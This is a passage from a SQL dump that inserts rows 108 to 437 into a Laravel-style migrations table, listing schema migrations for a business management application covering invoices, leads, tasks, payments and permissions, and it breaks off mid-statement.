INSERT INTO `migrations` VALUES (108,'2018_01_09_180937_add_task_completed_notification_setting',1); INSERT INTO `migrations` VALUES (109,'2018_01_29_073527_create_message_setting_table',1); INSERT INTO `migrations` VALUES (110,'2018_04_12_100452_add_dropbox_link_column_project_files_table',1); INSERT INTO `migrations` VALUES (111,'2018_04_12_123243_create_file_storage_table',1); INSERT INTO `migrations` VALUES (112,'2018_04_13_072732_create_groups_table',1); INSERT INTO `migrations` VALUES (113,'2018_04_13_092757_create_employee_groups_table',1); INSERT INTO `migrations` VALUES (114,'2018_04_17_113657_set_attendance_late_column_default',1); INSERT INTO `migrations` VALUES (115,'2018_05_07_065407_alter_invoice_id_null_payments',1); INSERT INTO `migrations` VALUES (116,'2018_05_07_065557_add_currency_id_column_payments_table',1); INSERT INTO `migrations` VALUES (117,'2018_05_08_064539_add_note_column_invoices',1); INSERT INTO `migrations` VALUES (118,'2018_05_15_072536_add_project_id_column_payments',1); INSERT INTO `migrations` VALUES (119,'2018_05_28_094515_set_gateway_column_null_payments_table',1); INSERT INTO `migrations` VALUES (120,'2018_05_29_070343_change_completed_on_column_to_datetime',1); INSERT INTO `migrations` VALUES (121,'2018_05_29_114402_populate_file_storage_settings_table',1); INSERT INTO `migrations` VALUES (122,'2018_05_30_051128_add_google_url_to_project_files_table',1); INSERT INTO `migrations` VALUES (123,'2018_06_05_092136_create_sub_tasks_table',1); INSERT INTO `migrations` VALUES (124,'2018_06_06_091511_create_task_comments_table',1); INSERT INTO `migrations` VALUES (125,'2018_06_11_054204_create_push_subscriptions_table',1); INSERT INTO `migrations` VALUES (126,'2018_06_14_094059_create_taxes_table',1); INSERT INTO `migrations` VALUES (127,'2018_06_18_065034_add_tax_id_column_invoice_items_table',1); INSERT INTO `migrations` VALUES (128,'2018_06_18_071442_add_discount_column_invoice_items_table',1); INSERT INTO `migrations` VALUES (129,'2018_06_21_052408_change_default_taskboard_columns',1); INSERT INTO `migrations` VALUES (130,'2018_06_26_160023_add_leave_count_column_leave_types_table',1); INSERT INTO `migrations` VALUES (131,'2018_06_27_072813_add_leaves_start_from_column',1); INSERT INTO `migrations` VALUES (132,'2018_06_27_075233_add_joining_date_column',1); INSERT INTO `migrations` VALUES (133,'2018_06_27_113713_add_gender_column_users_table',1); INSERT INTO `migrations` VALUES (134,'2018_06_28_054604_add_client_view_task_column_project_table',1); INSERT INTO `migrations` VALUES (135,'2018_06_28_191256_create_language_settings_table',1); INSERT INTO `migrations` VALUES (136,'2018_06_29_060331_add_active_theme_column_settings',1); INSERT INTO `migrations` VALUES (137,'2018_06_29_081128_add_manual_timelog_column_project_timelog',1); INSERT INTO `migrations` VALUES (138,'2018_06_29_104709_seed_languages',1); INSERT INTO `migrations` VALUES (139,'2018_08_02_121259_add_minutes_column_time_log_table',1); INSERT INTO `migrations` VALUES (140,'2018_08_22_103829_add_leaves_module',1); INSERT INTO `migrations` VALUES (141,'2018_08_22_104302_add_leaves_permissions',1); INSERT INTO `migrations` VALUES (142,'2018_08_27_114329_add_module_list_in_module_settings',1); INSERT INTO `migrations` VALUES (143,'2018_08_30_065158_add_status_column_users_table',1); INSERT INTO `migrations` VALUES (144,'2018_08_31_095814_create_lead_table',1); INSERT INTO `migrations` VALUES (145,'2018_08_31_095815_create_lead_source_table',1); INSERT INTO `migrations` VALUES (146,'2018_08_31_095815_create_lead_status_table',1); INSERT INTO `migrations` VALUES (147,'2018_08_31_095816_create_lead_follow_up_table',1); INSERT INTO `migrations` VALUES (148,'2018_09_04_095158_alter_lead_table',1); INSERT INTO `migrations` VALUES (149,'2018_09_04_095816_add_lead_module',1); INSERT INTO `migrations` VALUES (150,'2018_09_05_102010_create_proposal_table',1); INSERT INTO `migrations` VALUES (151,'2018_09_05_113230_create_proposal_items_table',1); INSERT INTO `migrations` VALUES (152,'2018_09_07_051239_alter_lead_website_table',1); INSERT INTO `migrations` VALUES (153,'2018_09_15_174026_add_default_lead_settings',1); INSERT INTO `migrations` VALUES (154,'2018_09_17_045718_add_leads_permission',1); INSERT INTO `migrations` VALUES (155,'2018_09_19_091643_add_remarks_to_payments_table',1); INSERT INTO `migrations` VALUES (156,'2018_09_19_100708_create_products_table',1); INSERT INTO `migrations` VALUES (157,'2018_09_21_095816_create_offline_payment_method_table',1); INSERT INTO `migrations` VALUES (158,'2018_09_25_065158_alter_payment_table',1); INSERT INTO `migrations` VALUES (159,'2018_09_28_110029_create_log_time_for_table',1); INSERT INTO `migrations` VALUES (160,'2018_09_28_965158_alter_project_time_log_table',1); INSERT INTO `migrations` VALUES (161,'2018_10_08_091643_alter_project_table',1); INSERT INTO `migrations` VALUES (162,'2018_10_08_110029_create_lead_files_table',1); INSERT INTO `migrations` VALUES (163,'2018_10_10_110029_create_holidays_table',1); INSERT INTO `migrations` VALUES (164,'2018_10_10_123601_create_project_templates_table',1); INSERT INTO `migrations` VALUES (165,'2018_10_10_125424_create_project_template_members_table',1); INSERT INTO `migrations` VALUES (166,'2018_10_10_135816_add_holiday_module',1); INSERT INTO `migrations` VALUES (167,'2018_10_10_251800_create_project_template_tasks_table',1); INSERT INTO `migrations` VALUES (168,'2018_10_16_095816_add_holiday_module_detail',1); INSERT INTO `migrations` VALUES (169,'2018_10_17_081757_remove_config_datatable_file',1); INSERT INTO `migrations` VALUES (170,'2018_10_17_965158_alter_leads_address_table',1); INSERT INTO `migrations` VALUES (171,'2018_10_17_965168_alter_leads_phone_table',1); INSERT INTO `migrations` VALUES (172,'2018_10_18_091643_alter_attendance_setting_table',1); INSERT INTO `migrations` VALUES (173,'2018_10_19_045718_add_holidays_permission',1); INSERT INTO `migrations` VALUES (174,'2018_10_20_094413_add_products_module',1); INSERT INTO `migrations` VALUES (175,'2018_10_20_094504_add_products_permissions',1); INSERT INTO `migrations` VALUES (176,'2018_10_21_051239_alter_holiday_website_table',1); INSERT INTO `migrations` VALUES (177,'2018_10_24_071300_add_file_column_to_invoices_table',1); INSERT INTO `migrations` VALUES (178,'2018_10_24_965158_alter_employee_detail_table',1); INSERT INTO `migrations` VALUES (179,'2018_10_29_965158_alter_attendance_setting_default_table',1); INSERT INTO `migrations` VALUES (180,'2018_11_10_071300_alter_user_table',1); INSERT INTO `migrations` VALUES (181,'2018_11_10_122646_create_task_category_table',1); INSERT INTO `migrations` VALUES (182,'2018_11_30_965158_alter_invoice_item_table',1); INSERT INTO `migrations` VALUES (183,'2018_12_12_965158_alter_invoice_estimate_response_table',1); INSERT INTO `migrations` VALUES (184,'2018_12_14_094504_add_expenses_permissions',1); INSERT INTO `migrations` VALUES (185,'2018_12_14_194504_add_expenses_permissions_detail',1); INSERT INTO `migrations` VALUES (186,'2018_12_20_1065158_alter_company_setting_table',1); INSERT INTO `migrations` VALUES (187,'2018_12_20_965158_alter_estimate_quantity_table',1); INSERT INTO `migrations` VALUES (188,'2018_12_27_074504_check_verify_purchase_file',1); INSERT INTO `migrations` VALUES (189,'2018_12_28_075730_create_push_notification_settings_table',1); INSERT INTO `migrations` VALUES (190,'2018_12_28_082056_add_send_push_column_email_notification_table',1); INSERT INTO `migrations` VALUES (191,'2018_12_28_123245_add_onesignal_player_id_column_users_table',1); INSERT INTO `migrations` VALUES (192,'2019_01_02_1065158_alter_module_setting_table',1); INSERT INTO `migrations` VALUES (193,'2019_01_02_2065158_insert_module_setting_client_table',1); INSERT INTO `migrations` VALUES (194,'2019_01_04_110029_create_employee_docs_table',1); INSERT INTO `migrations` VALUES (195,'2019_01_21_1065158_alter_task_creator_table',1); INSERT INTO `migrations` VALUES (196,'2019_02_06_1065158_alter_attendance_check_table',1); INSERT INTO `migrations` VALUES (197,'2019_02_11_1065158_alter_log_time_for_table',1); INSERT INTO `migrations` VALUES (198,'2019_02_12_2065158_insert_module_setting_client_task_table',1); INSERT INTO `migrations` VALUES (199,'2019_02_13_110029_create_skills_table',1); INSERT INTO `migrations` VALUES (200,'2019_02_13_130029_create_employee_skills_table',1); INSERT INTO `migrations` VALUES (201,'2019_02_15_1065158_alter_employee_end_date_table',1); INSERT INTO `migrations` VALUES (202,'2019_02_15_1165158_alter_custom_status_table',1); INSERT INTO `migrations` VALUES (203,'2019_02_20_074848_create_jobs_table',1); INSERT INTO `migrations` VALUES (204,'2019_02_22_1165158_add_company_currency_api_google_api',1); INSERT INTO `migrations` VALUES (205,'2019_03_11_965158_alter_expenses_quantity_table',1); INSERT INTO `migrations` VALUES (206,'2019_04_03_965158_alter_project_deadline_table',1); INSERT INTO `migrations` VALUES (207,'2019_04_04_074848_alter_invoice_setting_table',1); INSERT INTO `migrations` VALUES (208,'2019_04_04_075848_alter_client_Details_table',1); INSERT INTO `migrations` VALUES (209,'2019_04_10_075848_alter_setting_task_table',1); INSERT INTO `migrations` VALUES (210,'2019_04_10_122921_add_weather_key_column',1); INSERT INTO `migrations` VALUES (211,'2019_04_12_100242_add_columns_projects_table',1); INSERT INTO `migrations` VALUES (212,'2019_04_15_115700_add_budget_columns_projects_table',1); INSERT INTO `migrations` VALUES (213,'2019_04_17_070105_create_project_milestones_table',1); INSERT INTO `migrations` VALUES (214,'2019_04_23_062017_add_item_summary_column_invoice_item_table',1); INSERT INTO `migrations` VALUES (215,'2019_04_23_083812_add_invoice_created_column_project_milestones_table',1); INSERT INTO `migrations` VALUES (216,'2019_04_23_101747_add_milestone_id_column_tasks_table',1); INSERT INTO `migrations` VALUES (217,'2019_06_04_180628_change_project_budget_field_type',1); INSERT INTO `migrations` VALUES (218,'2019_06_07_070913_add_tax_id_column_estimate_items_table',1); INSERT INTO `migrations` VALUES (219,'2019_06_07_080053_add_discount_column_estimates_table',1); INSERT INTO `migrations` VALUES (220,'2019_07_01_192543_change_size_price_in_double',1); INSERT INTO `migrations` VALUES (221,'2019_07_02_072314_add_description_column_products_table',1); INSERT INTO `migrations` VALUES (222,'2019_07_15_110127_add_project_id_column_in_expenses_table',1); INSERT INTO `migrations` VALUES (223,'2019_08_13_073129_update_settings_add_envato_key',1); INSERT INTO `migrations` VALUES (224,'2019_08_13_073129_update_settings_add_support_key',1); INSERT INTO `migrations` VALUES (225,'2019_08_16_080219_change_price_size_proposal',1); INSERT INTO `migrations` VALUES (226,'2019_08_17_072443_add_datepicker_format_column_in_settings',1); INSERT INTO `migrations` VALUES (227,'2019_08_19_000000_create_failed_jobs_table',1); INSERT INTO `migrations` VALUES (228,'2019_08_19_085009_add_google_recaptcha_columns_in_organisation_settings_table',1); INSERT INTO `migrations` VALUES (229,'2019_08_19_120826_add_app_debug_column_in_organisation_settings_table',1); INSERT INTO `migrations` VALUES (230,'2019_08_22_055908_add_invoice_email_setting_to_email_notification_setting_table',1); INSERT INTO `migrations` VALUES (231,'2019_08_22_121805_add_external_link_column_project_files_table',1); INSERT INTO `migrations` VALUES (232,'2019_08_26_120718_add_offline_method_id_column_payments_table',1); INSERT INTO `migrations` VALUES (233,'2019_08_28_081847_update_smtp_setting_verified',1); INSERT INTO `migrations` VALUES (234,'2019_08_29_140115_make_smtp_type_nullable',1); INSERT INTO `migrations` VALUES (235,'2019_08_30_102114_add_reminder_fields_in_events_table',1); INSERT INTO `migrations` VALUES (236,'2019_09_03_103533_add_razorpay_column',1); INSERT INTO `migrations` VALUES (237,'2019_09_04_115714_add_recurring_task_id_column_in_tasks_table',1); INSERT INTO `migrations` VALUES (238,'2019_09_05_061308_create_project_settings_table',1); INSERT INTO `migrations` VALUES (239,'2019_09_09_045256_add_estimate_number_column_in_estimates_table',1); INSERT INTO `migrations` VALUES (240,'2019_09_09_081030_add_rounded_theme_column',1); INSERT INTO `migrations` VALUES (241,'2019_09_09_115714_add_cron_job_message_hide_table',1); INSERT INTO `migrations` VALUES (242,'2019_09_10_1074848_create_designation_table',1); INSERT INTO `migrations` VALUES (243,'2019_09_10_111909_add_columns_in_invoice_settings_table',1); INSERT INTO `migrations` VALUES (244,'2019_09_10_115714_add_team_field_employee_table',1); INSERT INTO `migrations` VALUES (245,'2019_09_10_161408_create_credit_note_table',1); INSERT INTO `migrations` VALUES (246,'2019_09_10_161418_create_credit_note_item_table',1); INSERT INTO `migrations` VALUES (247,'2019_09_10_161428_add_credit_note_column_in_invoices_table',1); INSERT INTO `migrations` VALUES (248,'2019_09_14_074854_add_status_column_projects_table',1); INSERT INTO `migrations` VALUES (249,'2019_09_16_101138_create_gdpr_settings_table',1); INSERT INTO `migrations` VALUES (250,'2019_09_17_091214_create_removal_requests_table',1); INSERT INTO `migrations` VALUES (251,'2019_09_18_191957_add_payments_module_clients',1); INSERT INTO `migrations` VALUES (252,'2019_09_25_095015_create_removal_requests_lead_table',1); INSERT INTO `migrations` VALUES (253,'2019_09_25_183130_create_dashboard_widgets_table',1); INSERT INTO `migrations` VALUES (254,'2019_09_27_212735_add_timelog_module_clients',1); INSERT INTO `migrations` VALUES (255,'2019_10_04_101818_add_paypal_mode_in_payment_gateway_credentials_table',1); INSERT INTO `migrations` VALUES (256,'2019_10_10_115133_alter_status_column_in_estimates_table',1); INSERT INTO `migrations` VALUES (257,'2019_10_14_060314_create_accept_estimates_table',1); INSERT INTO `migrations` VALUES (258,'2019_10_14_090840_alter_project_id_column_in_invoices_table',1); INSERT INTO `migrations` VALUES (259,'2019_10_14_110606_add_estimate_id_column_in_invoices_table',1); INSERT INTO `migrations` VALUES (260,'2019_10_15_052931_create_contract_types_table',1); INSERT INTO `migrations` VALUES (261,'2019_10_15_052932_create_contracts_table',1); INSERT INTO `migrations` VALUES (262,'2019_10_15_084310_add_contract_module_in_module_settings',1); INSERT INTO `migrations` VALUES (263,'2019_10_15_115655_create_contract_signs_table',1); INSERT INTO `migrations` VALUES (264,'2019_10_15_120940_create_invoice_credit_note_pivot_table',1); INSERT INTO `migrations` VALUES (265,'2019_10_17_051544_create_contract_discussions_table',1); INSERT INTO `migrations` VALUES (266,'2019_10_18_045028_alter_credit_note_status_in_credit_notes_table',1); INSERT INTO `migrations` VALUES (267,'2019_10_21_130413_create_task_files_table',1); INSERT INTO `migrations` VALUES (268,'2019_10_21_230413_create_ticket_files_table',1); INSERT INTO `migrations` VALUES (269,'2019_10_22_063419_add_dependent_task_id_in_tasks_table',1); INSERT INTO `migrations` VALUES (270,'2019_10_23_122412_create_contract_renews_table',1); INSERT INTO `migrations` VALUES (271,'2019_10_24_045038_add_column_module_type_in_universal_search_table',1); INSERT INTO `migrations` VALUES (272,'2019_10_24_120220_add_origin_amount_column_in_contracts_table',1); INSERT INTO `migrations` VALUES (273,'2019_10_30_045045_add_column_invoice_item_table',1); INSERT INTO `migrations` VALUES (274,'2019_10_30_122412_create_lead_agent_table',1); INSERT INTO `migrations` VALUES (275,'2019_10_31_045055_add_column_credit_note_item_table',1); INSERT INTO `migrations` VALUES (276,'2019_10_31_045065_add_column_estimate_item_table',1); INSERT INTO `migrations` VALUES (277,'2019_11_01_045075_add_column_products_table',1); INSERT INTO `migrations` VALUES (278,'2019_11_01_142619_add_column_to_in_notices_table',1); INSERT INTO `migrations` VALUES (279,'2019_11_05_082637_add_client_id_in_invoices_table',1); INSERT INTO `migrations` VALUES (280,'2019_11_07_082637_add_purchase_allow_in_product_table',1); INSERT INTO `migrations` VALUES (281,'2019_11_12_054145_add_system_update_column_in_organisation_settings_table',1); INSERT INTO `migrations` VALUES (282,'2019_11_13_054155_add_employee_id_column_in_employee_details_table',1); INSERT INTO `migrations` VALUES (283,'2019_11_14_054145_add_discount_column_in_proposal_table',1); INSERT INTO `migrations` VALUES (284,'2019_11_14_064145_add_tax_column_in_proposal_item_table',1); INSERT INTO `migrations` VALUES (285,'2019_11_21_064155_add_task_module_in_module_setting_table',1); INSERT INTO `migrations` VALUES (286,'2019_12_01_115133_alter_invoice_status_table',1); INSERT INTO `migrations` VALUES (287,'2019_12_09_171149_make_taxes_nullable_propsal_items_table',1); INSERT INTO `migrations` VALUES (288,'2019_12_18_115133_alter_proposal_items_table',1); INSERT INTO `migrations` VALUES (289,'2019_12_19_115850_add_timelogs_client_modules',1); INSERT INTO `migrations` VALUES (290,'2019_12_20_143625_add_logo_background_color_column_settings_table',1); INSERT INTO `migrations` VALUES (291,'2020_01_09_100241_add_client_id_credit_note_table',1); INSERT INTO `migrations` VALUES (292,'2020_01_09_105514_set_default_status_credit_note_open',1); INSERT INTO `migrations` VALUES (293,'2020_01_09_121406_add_task_reminder_columns',1); INSERT INTO `migrations` VALUES (294,'2020_01_22_122009_add_is_private_column_tasks_table',1); INSERT INTO `migrations` VALUES (295,'2020_01_23_062328_create_task_history_table',1); INSERT INTO `migrations` VALUES (296,'2020_01_24_134008_add_default_task_status_column_organisation_settings',1); INSERT INTO `migrations` VALUES (297,'2020_01_27_122145_create_pusher_settings_table',1); INSERT INTO `migrations` VALUES (298,'2020_02_01_101914_update_settings_review',1); INSERT INTO `migrations` VALUES (299,'2020_02_04_061753_add_team_id_field_in_projects_table',1); INSERT INTO `migrations` VALUES (300,'2020_02_04_132100_add_contracts_permission',1); INSERT INTO `migrations` VALUES (301,'2020_02_10_093726_create_table_menu',1); INSERT INTO `migrations` VALUES (302,'2020_02_14_102832_create_task_users_table',1); INSERT INTO `migrations` VALUES (303,'2020_02_17_143257_add_slug_email_notification_table',1); INSERT INTO `migrations` VALUES (304,'2020_02_21_121956_update_storage_settings_to_local',1); INSERT INTO `migrations` VALUES (305,'2020_02_24_060416_update_invoice_setting_logo',1); INSERT INTO `migrations` VALUES (306,'2020_03_11_054833_add_shipping_address_field_in_client_details_table',1); INSERT INTO `migrations` VALUES (307,'2020_03_11_085729_add_show_shipping_field_in_invoices_table',1); INSERT INTO `migrations` VALUES (308,'2020_03_17_411909_alter_invocie_number_in_invoice_table',1); INSERT INTO `migrations` VALUES (309,'2020_03_19_112832_create_project_template_task_users_table',1); INSERT INTO `migrations` VALUES (310,'2020_03_20_2065158_insert_modules_setting_client_table',1); INSERT INTO `migrations` VALUES (311,'2020_03_23_185549_make_message_nullable_ticket_reply_table',1); INSERT INTO `migrations` VALUES (312,'2020_04_06_130331_create_discussion_categories_table',1); INSERT INTO `migrations` VALUES (313,'2020_04_06_132027_create_discussions_table',1); INSERT INTO `migrations` VALUES (314,'2020_04_06_133759_create_discussion_replies_table',1); INSERT INTO `migrations` VALUES (315,'2020_04_08_094325_add_best_answer_id_discussions_table',1); INSERT INTO `migrations` VALUES (316,'2020_04_08_125803_add_discussion_reply_email_notification_settings_table',1); INSERT INTO `migrations` VALUES (317,'2020_04_09_102411_add_last_reply_by_discussions_table',1); INSERT INTO `migrations` VALUES (318,'2020_04_12_2065158_insert_contract_employee_modules_setting_table',1); INSERT INTO `migrations` VALUES (319,'2020_04_14_144941_add_last_login_column_users_table',1); INSERT INTO `migrations` VALUES (320,'2020_04_20_083724_add_hourly_rate_project_timelogs',1); INSERT INTO `migrations` VALUES (321,'2020_04_20_114349_add_hourly_rate_project_members',1); INSERT INTO `migrations` VALUES (322,'2020_04_20_173833_add_project_id_value_for_tasks_timelogs',1); INSERT INTO `migrations` VALUES (323,'2020_04_23_124301_add_billable_column_tasks_table',1); INSERT INTO `migrations` VALUES (324,'2020_04_24_115049_add_approved_invoice_id_column_project_time_logs',1); INSERT INTO `migrations` VALUES (325,'2020_04_24_122510_add_approval_required_column_log_time_for',1); INSERT INTO `migrations` VALUES (326,'2020_05_13_070505_change_earning_by_minutes_timelogs',1); INSERT INTO `migrations` VALUES (327,'2020_05_13_113533_add_receipt_column_payments_table',1); INSERT INTO `migrations` VALUES (328,'2020_05_19_114539_add_custom_field_groups',1); INSERT INTO `migrations` VALUES (329,'2020_05_20_131017_change_project_team_id_cascade',1); INSERT INTO `migrations` VALUES (330,'2020_05_21_041143_create_social_auth_settings_table',1); INSERT INTO `migrations` VALUES (331,'2020_05_26_084027_add_column_expenses_table',1); INSERT INTO `migrations` VALUES (332,'2020_05_30_093624_add_send_status_column_invoices_table',1); INSERT INTO `migrations` VALUES (333,'2020_06_01_080620_add_send_status_column_estimates_table',1); INSERT INTO `migrations` VALUES (334,'2020_06_02_160923_add_email_notifications_column_users_table',1); INSERT INTO `migrations` VALUES (335,'2020_06_15_100530_create_task_tag_list_table',1); INSERT INTO `migrations` VALUES (336,'2020_06_15_116005_create_task_tags_table',1); INSERT INTO `migrations` VALUES (337,'2020_06_16_160933_alter_date_format_table',1); INSERT INTO `migrations` VALUES (338,'2020_06_20_030225_alter_task_tags_to_label_table',1); INSERT INTO `migrations` VALUES (339,'2020_06_26_131840_add_column_priority_column_leads_table',1); INSERT INTO `migrations` VALUES (340,'2020_06_29_141051_create_sessions_table',1); INSERT INTO `migrations` VALUES (341,'2020_07_06_171614_add_phone_country_code_column_users_table',1); INSERT INTO `migrations` VALUES (342,'2020_07_07_2065158_insert_module_setting_client_expense_payment_table',1); INSERT INTO `migrations` VALUES (343,'2020_07_08_2065258_enter_lead_status_id_table',1); INSERT INTO `migrations` VALUES (344,'2020_07_08_2931840_add_column_category_id_in_template_task_table',1); INSERT INTO `migrations` VALUES (345,'2020_07_15_112558_add_default_currency_projects',1); INSERT INTO `migrations` VALUES (346,'2020_07_16_583130_alter_dashboard_widgets_table',1); INSERT INTO `migrations` VALUES (347,'2020_07_21_583130_add_due_amount_column_in_invoice_table',1); INSERT INTO `migrations` VALUES (348,'2020_08_13_114705_set_task_category_id_column_null',1); INSERT INTO `migrations` VALUES (349,'2020_08_19_051839_create_employee_leave_quotas_table',1); INSERT INTO `migrations` VALUES (350,'2020_08_25_081839_add_columns_in_notices_table',1); INSERT INTO `migrations` VALUES (351,'2020_08_25_081839_alter_leads_value_table',1); INSERT INTO `migrations` VALUES (352,'2020_08_28_081839_add_columns_parent_in_invoice_table',1); INSERT INTO `migrations` VALUES (353,'2020_09_17_114705_set_credit_note_amount',1); INSERT INTO `migrations` VALUES (354,'2020_09_17_196005_create_task_notes_table',1); INSERT INTO `migrations` VALUES (355,'2020_09_18_104145_add_estimate_fields_tasks_table',1); INSERT INTO `migrations` VALUES (356,'2020_09_24_522646_create_expenses_category_table',1); INSERT INTO `migrations` VALUES (357,'2020_09_28_054230_create_expenses_recurring_table',1); INSERT INTO `migrations` VALUES (358,'2020_10_06_522646_create_product_category_table',1); INSERT INTO `migrations` VALUES (359,'2020_10_07_522646_create_pinned_table',1); INSERT INTO `migrations` VALUES (360,'2020_10_15_054230_create_invoice_recurring_table',1); INSERT INTO `migrations` VALUES (361,'2020_10_20_094043_add_dashboard_clock_column_organisation_setting_table',1); INSERT INTO `migrations` VALUES (362,'2020_10_29_111515_add_companylogo_address_column_in_contracts_table',1); INSERT INTO `migrations` VALUES (363,'2020_11_02_130413_create_contract_files_table',1); INSERT INTO `migrations` VALUES (364,'2020_11_17_115634_add_lead_custom_field_group',1); INSERT INTO `migrations` VALUES (365,'2020_11_18_065533_create_lead_custom_forms_table',1); INSERT INTO `migrations` VALUES (366,'2020_11_18_083624_add_city_state_to_client_details',1); INSERT INTO `migrations` VALUES (367,'2020_11_18_090244_add_city_state_to_leads_table',1); INSERT INTO `migrations` VALUES (368,'2020_11_19_063807_add_city_state_column_in_contracts_table',1); INSERT INTO `migrations` VALUES (369,'2020_11_19_091349_alter_country_cell_column_in_client_details',1); INSERT INTO `migrations` VALUES (370,'2020_11_20_104942_create_lead_category_table',1); INSERT INTO `migrations` VALUES (371,'2020_11_23_052427_add_category_id_column_in_leads_table',1); INSERT INTO `migrations` VALUES (372,'2020_11_25_114705_cancel_status_estimate',1); INSERT INTO `migrations` VALUES (373,'2020_11_27_092136_create_project_template_sub_tasks_table',1); INSERT INTO `migrations` VALUES (374,'2020_12_01_092136_create_notice_view_table',1); INSERT INTO `migrations` VALUES (375,'2020_12_02_055908_add_product_purchase_email_notification_setting_table',1); INSERT INTO `migrations` VALUES (376,'2020_12_03_065533_create_ticket_custom_forms_table',1); INSERT INTO `migrations` VALUES (377,'2020_12_04_114305_create_client_category_table',1); INSERT INTO `migrations` VALUES (378,'2020_12_08_075308_create_project_rating_table',1); INSERT INTO `migrations` VALUES (379,'2020_12_08_082101_add_paid_column_in_leave_types',1); INSERT INTO `migrations` VALUES (380,'2020_12_08_110140_add_paid_column_in_leaves_table',1); INSERT INTO `migrations` VALUES (381,'2020_12_21_072055_create_permission_types_table',1); INSERT INTO `migrations` VALUES (382,'2020_12_21_072058_create_user_permissions_table',1); INSERT INTO `migrations` VALUES (383,'2020_12_21_132255_add_user_permisisons',1); INSERT INTO `migrations` VALUES (384,'2020_12_22_071337_add_owned_by_added_by_last_updated_by_columns',1); INSERT INTO `migrations` VALUES (385,'2020_12_28_200000_add_two_factor_columns_to_users_table',1); INSERT INTO `migrations` VALUES (386,'2020_12_30_101513_add_owned_by_added_by_last_updated_by_columns_projects',1); INSERT INTO `migrations` VALUES (387,'2021_01_11_110041_add_owned_by_added_by_last_updated_by_columns_tasks',1); INSERT INTO `migrations` VALUES (388,'2021_01_18_084827_add_estimate_terms_column_invoice_settings',1); INSERT INTO `migrations` VALUES (389,'2021_01_19_060745_add_slug_new_product_purchase_in_email_notification_table',1); INSERT INTO `migrations` VALUES (390,'2021_01_29_152503_lead_custom_field_name_change',1); INSERT INTO `migrations` VALUES (391,'2021_02_05_055908_add_lead_proposal_email_setting',1); INSERT INTO `migrations` VALUES (392,'2021_02_05_114041_create_user_taskboard_settings_table',1); INSERT INTO `migrations` VALUES (393,'2021_02_08_115655_create_proposal_signs_table',1); INSERT INTO `migrations` VALUES (394,'2021_02_15_085425_modify_status_column_in_projects_table',1); INSERT INTO `migrations` VALUES (395,'2021_02_15_135533_alter_lead_custom_forms_table',1); INSERT INTO `migrations` VALUES (396,'2021_02_16_082106_add_mobile_column_in_tickets_table',1); INSERT INTO `migrations` VALUES (397,'2021_02_16_100313_add_added_by_last_updated_by_columns_to_events_table',1); INSERT INTO `migrations` VALUES (398,'2021_02_16_102604_add_added_by_last_updated_by_columns_to_products_table',1); INSERT INTO `migrations` VALUES (399,'2021_02_16_102906_add_added_by_last_updated_by_columns_to_notices_table',1); INSERT INTO `migrations` VALUES (400,'2021_02_17_122943_change_client_details_foreign_table',1); INSERT INTO `migrations` VALUES (401,'2021_02_19_102125_add_salutation_column_to_leads_table',1); INSERT INTO `migrations` VALUES (402,'2021_02_20_185545_add_owned_by_added_by_last_updated_by_columns_invoices',1); INSERT INTO `migrations` VALUES (403,'2021_02_22_101316_add_owned_by_added_by_last_updated_by_columns_payments',1); INSERT INTO `migrations` VALUES (404,'2021_02_23_173243_add_column_length_column',1); INSERT INTO `migrations` VALUES (405,'2021_02_24_084749_add_owned_by_added_by_last_updated_by_columns_estimates',1); INSERT INTO `migrations` VALUES (406,'2021_02_25_052941_add_owned_by_added_by_last_updated_by_columns_leads',1); INSERT INTO `migrations` VALUES (407,'2021_02_26_092320_create_currency_format_settings_table',1); INSERT INTO `migrations` VALUES (408,'2021_02_26_092817_add_sac_code_invoice_table',1); INSERT INTO `migrations` VALUES (409,'2021_02_27_070155_add_added_by_last_updated_by_columns_to_leaves_table',1); INSERT INTO `migrations` VALUES (410,'2021_02_28_095653_add_owned_by_added_by_last_updated_by_columns_expenses',1); INSERT INTO `migrations` VALUES (411,'2021_03_01_133056_create_user_leadboard_settings_table',1); INSERT INTO `migrations` VALUES (412,'2021_03_03_071758_add_owned_by_added_by_last_updated_by_columns_tinelogs',1); INSERT INTO `migrations` VALUES (413,'2021_03_03_130641_add_moment_format_column_settings_table',1); INSERT INTO `migrations` VALUES (414,'2021_03_04_060745_add_new_for_null_slug_email_notification_table',1); INSERT INTO `migrations` VALUES (415,'2021_03_08_022302_add_added_by_last_updated_by_columns_to_holidays_table',1); INSERT INTO `migrations` VALUES (416,'2021_03_09_123344_add_owned_by_added_by_last_updated_by_columns_contracts',1); INSERT INTO `migrations` VALUES (417,'2021_03_11_070400_update_contract_type_cascade',1); INSERT INTO `migrations` VALUES (418,'2021_03_15_112622_add_owned_by_added_by_last_updated_by_columns_attendance',1); INSERT INTO `migrations` VALUES (419,'2021_03_15_145533_add_last_cron_run_in_organisation_settings_table',1); INSERT INTO `migrations` VALUES (420,'2021_03_19_091501_add_favicon_in_organisation_settings_table',1); INSERT INTO `migrations` VALUES (421,'2021_03_19_123557_add_owned_by_added_by_last_updated_by_columns_tickets',1); INSERT INTO `migrations` VALUES (422,'2021_04_06_111105_sync_default_role_permission',1); INSERT INTO `migrations` VALUES (423,'2021_04_08_021853_add_owned_by_added_by_last_updated_by_columns_invoice_recurring',1); INSERT INTO `migrations` VALUES (424,'2021_04_14_080502_add_decription_column_in_proposals_table',1); INSERT INTO `migrations` VALUES (425,'2021_05_01_220324_add_dashboard_permissions',1); INSERT INTO `migrations` VALUES (426,'2021_05_03_055859_add_owned_by_added_by_last_updated_by_columns_credit_notes_table',1); INSERT INTO `migrations` VALUES (427,'2021_05_17_133302_reset_theme_default_colors',1); INSERT INTO `migrations` VALUES (428,'2021_05_26_102905_craete_client_notes_table',1); INSERT INTO `migrations` VALUES (429,'2021_05_30_174638_craete_project_notes_table',1); INSERT INTO `migrations` VALUES (430,'2021_05_31_050747_add_send_reminder_in_invoice_setting_table',1); INSERT INTO `migrations` VALUES (431,'2021_05_31_102117_task_share_unique_hash',1); INSERT INTO `migrations` VALUES (432,'2021_06_03_104606_add_owned_by_added_by_last_updated_by_columns_project_ratings',1); INSERT INTO `migrations` VALUES (433,'2021_06_07_132858_create_user_invitations_table',1); INSERT INTO `migrations` VALUES (434,'2021_06_08_072201_add_close_date_in_ticket_table',1); INSERT INTO `migrations` VALUES (435,'2021_06_09_101110_remove_visible_rating_employee_column_from_projects_table',1); INSERT INTO `migrations` VALUES (436,'2021_06_16_185748_add_dark_theme_column_users_table',1); INSERT INTO `migrations` VALUES (437,'2021_06_24_185748_add_column_payment_gateway_credentials_table',1); INSERT INTO `migrations` VALUES 